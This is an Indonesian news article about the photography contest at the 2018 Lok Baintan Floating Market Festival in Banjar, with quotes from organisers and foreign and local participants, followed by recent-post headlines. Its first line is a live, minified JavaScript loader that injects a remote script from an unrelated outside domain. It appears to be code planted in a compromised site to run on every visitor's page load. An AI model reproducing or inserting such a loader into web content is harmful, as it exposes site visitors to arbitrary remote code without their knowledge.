(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
FESTIVAL PASAR TERAPUNG

Turis Asing Ikuti Lomba Fotografi Festival Pasar Terapung Lok Baintan 2018


MARTAPURA, Festival Pasar Terapung Lok Baintan 2018 yang diselenggarakan di Sungai Martapura Kecamatan Sungai Tabuk, sukses memecahkan kerinduan masyarakat khususnya masyarakat Kabupaten Banjar. Dibuka secara resmi oleh Bupati Banjar Khalilurrahman, Minggu (2/12) pagi, sejumlah rangkaian perlombaan turut memeriahkan event nasional ini salah satunya Lomba Fotografi.

Kurang lebih ratusan fotografer dari berbagai wilayah hadir dan mengikuti perlombaan ini. Dari pantauan kanalkalimantan, para peserta lomba sudah ada sejak dini hari di lokasi utama Festival Pasar Terapung Lok Baintan 2018. Bukan tanpa alasan, animo dari ribuan masyarakat yang nantinya akan datang, dikhawatirkan para peserta akan menutup sejumlah spot foto yang bagus.

Jumlah peserta lomba fotografi memang tidak terbatas, lantaran pihak panitia tidak menyediakan pendaftaran secara resmi. Peserta hanya diberikan syarat dan ketentuan, yang mana nantinya hasil foto tersebut akan dikirim lewat email dan akan dipilih yang hasil fotonya paling baik.

Agus salah satu panitia mengatakan pada event kali ini, adapun para peserta di antaranya dari sejumlah komunitas dari berbagai wilayah tidak hanya Kalimantan Selatan tapi juga se Indonesia. Ia juga mengatakan ada juga fotografer dari negara asing yang sangat teratarik dengan event yang mengangkat warisan budaya orang Banjar ini.

“Para pesertanya memang mencangkup dari berbagai wilayah Indonesia. Banyak yang dari komunitas-komunitas. Bahkan saat ini ada beberapa peserta dari negara asing yang ikut lomba foto ini seperti dari Malaysia Vietnam Korea, dan terlihat mereka sangat antusias,” ungkapnya.

Hal ini membuat perlombaan foto bukan hanya jadi isapan jempol semata. Para fotografer yang telah ahli dibidangnya mencoba terus mendapat angel foto yang terbaik. Bahkan sampai ada beberapa fotografer yang nekat naik diatas pilar jembatan bahkan ada juga yang rela menyewa klotok untuk menyusuri sungai sembari megambil gambar-gambar unik selama Festival berlangsung.

Agus menjelaskan dalam penilaiannya, hasil foto akan dilihat dari berbagai kriteria. Namun ia mengatakan penilaian akan menjadi sulit karena banyak peserta yang mengambil spot foto dilokasi yang sama dengan peserta lainnya.

“Ya kalau kriterianya sih kita lihat dari komposisi dan warnanya. Tapi tahun ini akan sulit karena banyak yang mengambil foto dilokasi yang sama satu sama lain,” ungkapnya.

Son Nguyen warga negara Vietnam mengatakan bahwa kunjungannya ke Kalimantan Selatan memang awalnya mendapat kabar dari temannya yang berada di Indonesia bahwa ada pagelaran Festival Pasar Terapung. Ia yang sudah 20 tahun ini berprofesi sebagai fotografer tidak ingin melewatkan kesempatan ini dan mengatakan bahwa Pasar Terapur merupakan pesona yang hanya dimiliki Indonesia.

“Ini kunjungan saya pertama kali di Indonesia, dan saya menyempatkan waktu hanya untuk event ini. Menurut saya pasar terapung harus terus di budidayakan karena pesonanya yang hanya dimiliki Indonesia,” ujarnya

Di sisi lain, Muntasri Abi peserta dari Kabupaten Tabalong, mengatakan keunikan dari pasar terapung membuat fotonya dapat bersaing dengan hasil foto di luar negeri dan terkadang fotografer lokal kurang memaksimalkan hal tersebut. Meski begitu Ia yakin dapat memenangkan perlombaan yang telah dua kali diikutinya ini terkahir pada tahun 2016.

“Pasar terapung ini kan pasar tradisional yang langka, hasil fotonya bisa bersaing dengan foto-foto di luar negeri. Bahkan sampai para turis rela kesini demi mendapatkan fotonya. Sayangnya kita fotografer lokal biasanya kurang maksimal dalam mengambil momentnya. Tapi saya yakin tahun ini bisa meraih juara,” bebernya

Peserta yang hasil fotonya terpilih menjadi juara dalam lomba ini akan mendapatkan hadiah uang dengan total hadiah sebanyak Rp 15 juta. Batas akhir pengiriman foto hingga Senin (3/12) pagi, tepatnya pukul 10.00 Wita. (Rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

8 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

9 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

11 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

17 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.